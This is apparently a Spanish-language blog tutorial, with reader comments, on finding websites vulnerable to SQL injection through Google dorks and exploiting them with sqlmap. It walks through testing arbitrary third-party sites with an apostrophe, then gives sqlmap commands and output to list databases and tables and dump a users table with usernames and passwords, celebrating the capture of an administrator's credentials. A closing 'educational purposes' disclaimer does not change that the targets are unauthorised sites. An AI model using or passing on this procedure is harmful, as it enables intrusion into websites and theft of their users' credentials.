- INTRODUCCIÓN
¿Que es SQLMap?
sqlmap es una herramienta de pruebas de penetración de código abierto, que automatiza el proceso de detectar y explotar los errores de inyección SQL. (Mucho mejor que hacerlo a mano)
sqlmap es una herramienta esencial en el pentesting web y muy útil a la hora de explotar Inyecciones SQL
¿Como encuentro paginas con Vulnerablilidades SQL?
Bueno lo primero, sqlmap explota variables, por lo que la estructura de una web vulnerable sera algo parecido a esto:
- http://www.paginadepepito.com/index.php?id=4
Una forma de encontrar paginas web, que muestren una variable y una estructura parecida es mediante Dorks, aunque no es necesario, las variables de una web se pueden buscar accediendo a secciones de la misma
¿Que es un Dork?
Los dorks son combinaciones de operadores de búsqueda especiales que se utilizan para extraer información valiosa o sensible desde Google.
Antes de continuar si no te sonaba nada de esto recomiendo ver esta guia de HackxCrack que muestra como usar varios navegadores para el hacking o extracción de datos
Algunos Dorks:
inurl:news.php?id=
inurl:download.php?id=
- BUSCANDO PAGINAS VULNERABLES
Bueno esto es tan sencillo como introducir el dork en el navegador: Google, Bing, etc e ir accediendo a las paginas, una vez dentro de una web, nos aparecerá una estructura parecida a la ya comentada , si no pues busca mas paginas hasta encontrarla XD
-http://www.paginadepepito.com/index.php?id=4
Bien, ahora para saber si es vulnerable a SQL se le introduce a la variable 'id=' un caracter no valido como un apostrofe ( ' ) quedando de esta manera:
-http://www.paginadepepito.com/index.php?id='
y esto tendría que mostrar un error muy parecido a este, para asegurarte, observa si aparece la palabra sql en el mensaje de error.
Si no lo muestra es que no es vulnerable, y hay que seguir buscando mas webs
-EXPLOTANDO LA VULNERABILIDAD
Llego la hora, lo interesante, si no hay ningún problema deberías de tener ya una pagina con una vulnerabilidad sql que muestre el mensaje de error
Bien, empecemos, ejecutamos sqlmap en la terminal de comandos de nuestro sistema operativo, yo al tener kali linux lo puedo ejecutar directamente, introduciendo sqlmap, después introducimos el siguiente comando:
ejemplo: sqlmap -u http://www.paginadepepito.com/index.php?id=4 --dbs
con el parametro --url le pasamos la url que es vulnerable y con --dbs le pedimos que liste las bases de datos.
Cuando ejecutemos eso, sqlmap usará heurísticas para comprobar que gestor de bases de datos utiliza el sitio, y lo auditará (¡Y todo automático!)
[02:08:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[02:08:53] [INFO] fetching database names
[02:08:54] [INFO] the SQL query used returns 2 entries
[02:08:55] [INFO] retrieved: "information_schema"
[02:08:57] [INFO] retrieved: "pepito"
available databases [2]:
[*] pepito
[*] information_schema
[02:08:57] [INFO] Fetched data logged to text files under '/opt/pentest/database/sqlmap/output/www.pepito.com'
[*] shutting down at 02:08:57
Bien, la base de datos que nos interesa es pepito (la vuestra se llamara de otra manera XD). De ella obtendremos primero las tablas que la componen y luego las columnas (y sus datos).
web application technology: Apache
back-end DBMS: MySQL 5.0
[02:08:53] [INFO] fetching database names
[02:08:54] [INFO] the SQL query used returns 2 entries
[02:08:55] [INFO] retrieved: "information_schema"
[02:08:57] [INFO] retrieved: "pepito"
available databases [2]:
[*] pepito
[*] information_schema
[02:08:57] [INFO] Fetched data logged to text files under '/opt/pentest/database/sqlmap/output/www.pepito.com'
[*] shutting down at 02:08:57
Para conseguir ver las tablas, introducimos.
sqlmap -u (WEB) -D pepito --tables
Una vez más, en pocos segundos nos dumpea las tablas:
Si primero nos interesa ver que columnas tiene y de ahí obtener una consulta personalizada hacemos:
Table: users
[8 columns]
+--------------+--------------+
| Column | Type |
+--------------+--------------+
| ciudad | varchar(100) |
| clave | varchar(15) |
| email | varchar(80) |
| estado | char(1) |
| id | int(11) |
| id_provincia | int(11) |
| localidad | varchar(100) |
| usuario | varchar(15) |
+--------------+--------------+
sqlmap -u (URL) -T users --dump
Luego de unos minutos...
Con esto terminamos con sqlmap, como podéis ver, se han sacado muchas cuentas con sus usuarios y contraseñas, y si pillas la del administrador, Puff!!!
Hasta otra, Comenten cualquier duda!!
-Guía realizada para medios educativos, no me hago responsable del mal uso
La verdad tienes una pagina muy bien esquematizada y con un contenido de muy buena calida y yo que ya llevo años en esto de la informatica (hacking) haces que las cosas parezcan faciles y que te entren ganas de empezar o retomar cosas olvidas en este mundo del hacking con tus GUIAS
ResponderEliminarPero antes que nada queria aconsejarte que cuando hagas GUIAS de este estilo que no se te olvide poner que (ESTA GUIA A SIDO REALIZADA PARA MEDIOS EDUCATIVOS Y NO TIENE NINGUN ANIMO DELICTIVO)
Me alegro de que te guste mi blog, y espero que te siga gustando, gracias por el consejo, un descuido jajaja
Eliminar